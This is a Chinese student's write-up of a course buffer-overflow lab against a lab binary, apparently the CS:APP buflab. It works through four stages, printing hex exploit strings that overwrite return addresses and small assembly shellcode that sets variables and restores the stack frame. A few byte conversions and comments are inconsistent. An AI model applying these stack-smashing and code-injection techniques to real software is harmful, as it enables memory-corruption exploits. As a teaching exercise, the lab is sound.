缓冲区溢出实验
阶段1
从视频中已知函数调用顺序为:test()调用getbuf()函数。
要想实现缓冲区溢出攻击,就需要用getbuf()函数得到的字符串去修改test()函数的返回地址。
因此我们需要得到getbuf()函数中字符串的起始地址和test()函数的返回地址的地址。
然后就可以知道这两个地址之间有多少个字节。因此我们先构造这么多字节的字符串,然后再加4个字节即可修改test()函数的返回地址。
先利用objdump查看getbuf函数反汇编代码

由汇编代码可知:string的起始地址为ebp-0x36。根据函数调用过程可知:test()函数的返回地址的地址为ebp+4。两个地址之间有58个字节
Smoke函数的反汇编代码为:

从代码可知,smoke()函数的首地址为0x80493c0,小端方式存储为c0 93 04 08。
因此可以构造的字符串为:
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77
c0 93 04 08
测试:
先将字符串利用hex2raw存到smoke-row.txt中

然后用gdb打开程序:

成功!
阶段2:
本题要利用getbuf()函数的缓冲区溢出调用fizz()函数
先看fizz()函数的反汇编代码

从代码可以看出调用fizz()函数第一个分支的条件是0x804d280和0x8(%ebp)的内容相等。0x804d280的值为内置的cooki值,0x8(%ebp)的值为我们需要利用缓冲区溢出构造的值。
因为要让M[ebp+0x8]=M[0x804d280],即ebp=0x804d280-0x8=0x804d278
而0x804d278=0000 1000 0000 0100 1101 0010 0111 1000 =>小端存储为:78 d2 04 08
所以我们需要用80 27 4d 80覆盖ebp的值。
又因为如果直接跳到fizz()函数的首地址会覆盖掉我们已经修改的ebp的值,所以我们需要跳到80493f3=0000 1000 0000 0100 1001 0011 1111 0011=30 3f 49 80,所以用f3 93 04 08覆盖返回地址的值。
故可以如下构造字符串:
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33
78 d2 04 08
f3 93 04 08
验证:

阶段3:
本题需要利用缓冲区溢出调用bang()函数,并修改全局变量
先看bang()函数的反汇编:

先构造一个字符串,让程序跳到bang()函数中执行,字符串如下:
bang()函数首地址0804943e=3e 94 04 08(小端)
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77 88 99
00 11 22 33 44 55 66 77
3e 94 04 08
然后查看0x804d288和0x804d280地址的值(分析反汇编代码可知global_value和cookie的地址为这两个,只是我不清楚谁是谁)

发现global_value的地址为0x804d288,cookie的地址为0x804d280
所以我们需要如下编写汇编代码:
mov 0x343eaa9e, %eax //把cookie赋给%eax
mov %eax, 0x804d288 //把%eax中的cookie赋给global_value
push $0x0804943e //bang()地址入栈
ret //返回,跳到bang()
然后用保存到test.s,再获取其机器码
gcc -m32 -c test.s //test.s是我们写的汇编代码,对它进行编译
objdump -d test.o //执行反汇编获取机器码
打开 test.o知,机器码为:

然后查看buf的首地址:

Buf的首地址为0x55682faa=>小端存储为:0x aa 2f 68 55
故可最终构造如下字符串:
a1 9e aa 3e 34 a3 88 d2 04 08
68 3e 94 04 08 c3 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
aa 2f 68 55
验证:

失败,报错:Program received signal SIGSEGV, Segmentation fault,网上找了很久,问题出在哪了?
今天找到了最后出异常的解释。结论就是这种Buff Overflow攻击在现代操作系统中,已经不能做为有效的攻击手段了。我的操作系统是centos8。
今天就这个问题去问了一下老师,老师说我前面的分析和计算位置都是对的(gdb一步一步调着看的),这个好像是操作系统开启了什么保护(我没听太懂。。。)。
阶段4:
本题要getbuf()结束后返回到test(),并将cookie作为getbuf()的返回值传给test()。同时恢复各个寄存器的状态,使test()察觉不到我们干了什么。
首先我们要知道要恢复哪个寄存器,每一级我们都要从-0x36(%ebp)这个位置一路覆盖到返回地址+0x4(%ebp),显然(%ebp)这个位置也被我们的字符串覆盖了。我们知道,%ebp是called栈的基址,也就是当前函数的帧指针;(%ebp)是这个基址位置里的内容,也是一个指针,指向caller栈的基址,即调用者的帧指针,在这里是test()的帧指针。当getbuf()返回时试图把(%ebp)恢复到%ebp,但(%ebp)里是我们输入的字符串,我们需要把test()的%ebp里的值找出来,再利用我们写入的指令把它重新赋给%ebp. 要找到原%ebp的值,这需要使用gdb,在test()的代码处设置断点。

观察反汇编代码可知:在0x8049573处设置断点,得到ebp的值为:0x55683000
观以及getbuf()正确的返回地址为0x8049c32,于是可以构造如下代码:
mov $0x343eaa9e,%eax //把我们的cookie值赋给%eax
mov $0x55683000,%ebp //恢复test()的%ebp
push $0x8049c32 //推立即数0x8048c93入栈
ret
保存为rettest.s
$gcc -m32 -c rettest.s
$objdump -d rettest.o > rettest_asm
可查看机器码为:

故可如下构造字符串:
b8 9e aa 3e 34 bd 00 30 68 55
68 32 9c 04 08 c3 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
aa 2f 68 55

浙公网安备 33010602011771号